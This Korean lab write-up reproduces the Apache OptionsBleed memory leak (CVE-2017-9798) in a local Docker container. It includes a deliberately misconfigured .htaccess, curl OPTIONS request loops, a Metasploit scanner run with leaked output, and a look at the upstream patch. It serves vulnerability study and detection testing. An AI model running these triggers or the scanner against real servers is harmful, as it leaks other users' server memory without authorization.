개요
- Apache OptionsBleed 취약점(CVE-2017-9798)을 검증해본다.
- 이 취약점은 use-after-free (해제된 메모리를 사용) 때문에 발생하는 취약점이다.
- 취약한 환경을 구성해보고 스캐너를 돌려서 탐지되는지 확인해본다.
취약한 환경 구성하기
- 이 버그는 특정 Apache버전(2.2.34과 2.4.27까지의 2.4.x버전)에서 특정 설정미스가 있을 때 발생한다고 한다.
- 설정은 Apache의 .htaccess파일의 Limit 지시자(directive)를 설정하는 부분이다.
- Limit 지시자는 여기에서 사용법을 알 수 있다.
Docker 를 사용해서 구성하기
- 먼저 취약한 버전의 Apache 이미지를 Dockerhub에서 구할 수 있는지 확인해본다.
- 운이 좋게도 2.4.12버전이 있는 것을 확인할 수 있었다.
설정파일 구성하기
먼저 다음 커맨드를 실행해서 디폴트 설정파일을 얻어온다.
docker run --rm httpd:2.4.12 cat /usr/local/apache2/conf/httpd.conf > my-httpd.conf
.htaccess 파일 만들기
.htaccess파일을 다음과 같이 작성한다. acbce 자리에는 원래 허용할 HTTP 메서드가 적혀있어야 한다. 일부러 취약점을 유도하기 위해 잘못된 설정을 적었다. 이 파일은 추후 DocumentRoot로 복사할 것이다.
<Limit abcde>
Allow from 127.0.0.1
Deny from all
</Limit>
설정파일 변경하기 (.htaccess가 동작하도록)
- DocumentRoot 디렉토리 설정부분의
AllowOverride
를None
에서All
로 변경한다. (값이 None이면 .htaccess가 무효화된다.)
파일 수정시 주의점
- 설정파일을 노트패드로 연다. (VS Code등의 에디터로 수정하면 Unicode로 저장되어서 나중에 구동할 때
Invalid command '\xff\xfe#', perhaps misspelled or defined by a module not included in the server configuration
에러가 발생한다.) - 저장시에는 꼭 문자코드를 ANSI로 설정해서 저장한다. (https://www.spinics.net/lists/apache-users/msg75041.html)
DocumentRoot "/usr/local/apache2/htdocs"
<Directory "/usr/local/apache2/htdocs">
#
# Possible values for the Options directive are "None", "All",
# or any combination of:
# Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important. Please see
# http://httpd.apache.org/docs/2.4/mod/core.html#options
# for more information.
#
Options Indexes FollowSymLinks
#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
# AllowOverride FileInfo AuthConfig Limit
#
AllowOverride All
#
# Controls who can get stuff from this server.
#
Require all granted
</Directory>
Dockerfile 작성하기
다음 Dockerfile을 만든다.
FROM httpd:2.4.12
COPY .htaccess /usr/local/apache2/htdocs/
COPY index.html /usr/local/apache2/htdocs/
index.html 파일 작성
웹서버가 잘 동작중인 것을 확인하기 위해 index.html 파일을 작성한다.
<html>
<h1>Apache OptionsBleed POC (CVE-2017-9798)</h1>
</html>
이미지 빌드
docker build --tag optionsbleed:httpd_2.4.12 .
이미지 실행하기
- 호스트의 포트번호는 대충 안 겹치는 포트를 지정한다. 여기에서는 500번 포트를 지정했다.
docker run -p 500:80 -d --rm optionsbleed:httpd_2.4.12
동작확인
OPTIONS로 허용하는 메서드를 웹 서버에 문의해본다. 응답헤더의 Allow부분에 이상한 문자가 출력되는 것을 알 수 있다. 취약점을 확인하는데 성공했다!
$ curl -sI -X OPTIONS http://localhost/
HTTP/1.1 200 OK
Date: Thu, 10 Aug 2023 06:37:32 GMT
Server: Apache/2.4.12 (Unix)
Allow: 腎チ=~,赤タ=~,慎チ=~,GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: text/html
참고로 다음 명령으로 여러번(100번) 반복해서 curl을 수행할 수 있다.
for i in {1..100}; do curl -sI -X OPTIONS http://localhost/|grep -i "allow:"; done
스캐너 돌려보기
그러면 스캐너도 한번 돌려본다. Metasploit의 스캐너를 사용한다. 스캔 대상 서버는 다른 프로그램과 포트가 겹치지 않도록 500번 포트로 구동했다.
제대로 취약하다고 판정된 것을 확인했다.
msfconsole
use auxiliary/scanner/http/apache_optionsbleed
msf6 auxiliary(scanner/http/apache_optionsbleed) > set RHOSTS localhost
RHOSTS => localhost
msf6 auxiliary(scanner/http/apache_optionsbleed) > set RPORT 500
RPORT => 500
msf6 auxiliary(scanner/http/apache_optionsbleed) > exploit
[+] Request 1: [OptionsBleed Response] -> GET,HEAD,POST,OPTIONS,▒▒},▒T},▒t},TRACE
[+] Request 2: [OptionsBleed Response] -> GET,HEAD,POST,OPTIONS,▒T},▒t},▒▒},TRACE
[+] Request 9: [OptionsBleed Response] -> ▒▒},▒T},▒▒},GET,HEAD,POST,OPTIONS,TRACE
[+] Request 38: [OptionsBleed Response] -> ▒},▒▒},▒t},▒T},GET,HEAD,POST,OPTIONS,TRACE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Apache 코드 분석
모처럼이니까 Apache 코드도 어떻게 바꼈는지 훑어본다.
수정된 코드는 여기에서 확인할 수 있다.
https://github.com/apache/httpd/commit/4cc27823899e070268b906ca677ee838d07cf67a
- 코드를 보아하니, 수정되기 전에는 .htaccess 에 기술한 HTTP메서드가 실행시점(runtime)에 동적으로 등록이 가능했던 것 같다.
- 1) 실행시점에 메서드가 등록된다. 2) 기존에 존재하지 않는 메서드였다. 라는 두 가지 조건으로 use-after-free 가 되는 것일까?
- 수정 후에는 런타임에 메서드를 등록하는 부분에 안전조치가 추가된 것으로 보인다. (최초 init시점에만 등록이 가능하도록 바뀐 것 같다.)
- 운좋게도 TrendMicro사의 블로그에서 아주 상세한 코드 설명을 찾았다. 일본어지만 크롬 번역기능을 사용하면 된다.
내가 이해한 것을 간략하게 적어본다.
- 아파치에는 사용가능한 HTTP메서드도 글로벌 풀로 관리한다. (METHOD_REGISTRY)
- .htaccess에 존재하지 않는 HTTP 메서드로 Limit 지시문을 정의하면 httpd를 시작한 후 새 HTTP 메서드가 추가된다.
- 이 때, 글로벌 풀에 새롭게 추가되는데, 새롭게 추가된 후에 포인터가 정확히 데이터가 끝나는 부분을 가리키는게 아니라 여유공간을 가리키는 버그로 인해, 이 여유공간의 데이터가 함께 Allow 헤더에 추가되는 것으로 보인다.
참고
- https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html
- https://bz.apache.org/bugzilla/show_bug.cgi?id=61207
- https://www.tenable.com/plugins/nessus/103838
- https://github.com/hannob/optionsbleed
- https://github.com/brokensound77/OptionsBleed-POC-Scanner
- https://hackerone.com/reports/269568
- https://www.cve.org/CVERecord?id=CVE-2017-9798
- https://www.trendmicro.com/ja_jp/research/17/j/optionsbleed-vulnerability-in-the-apache-http-server.html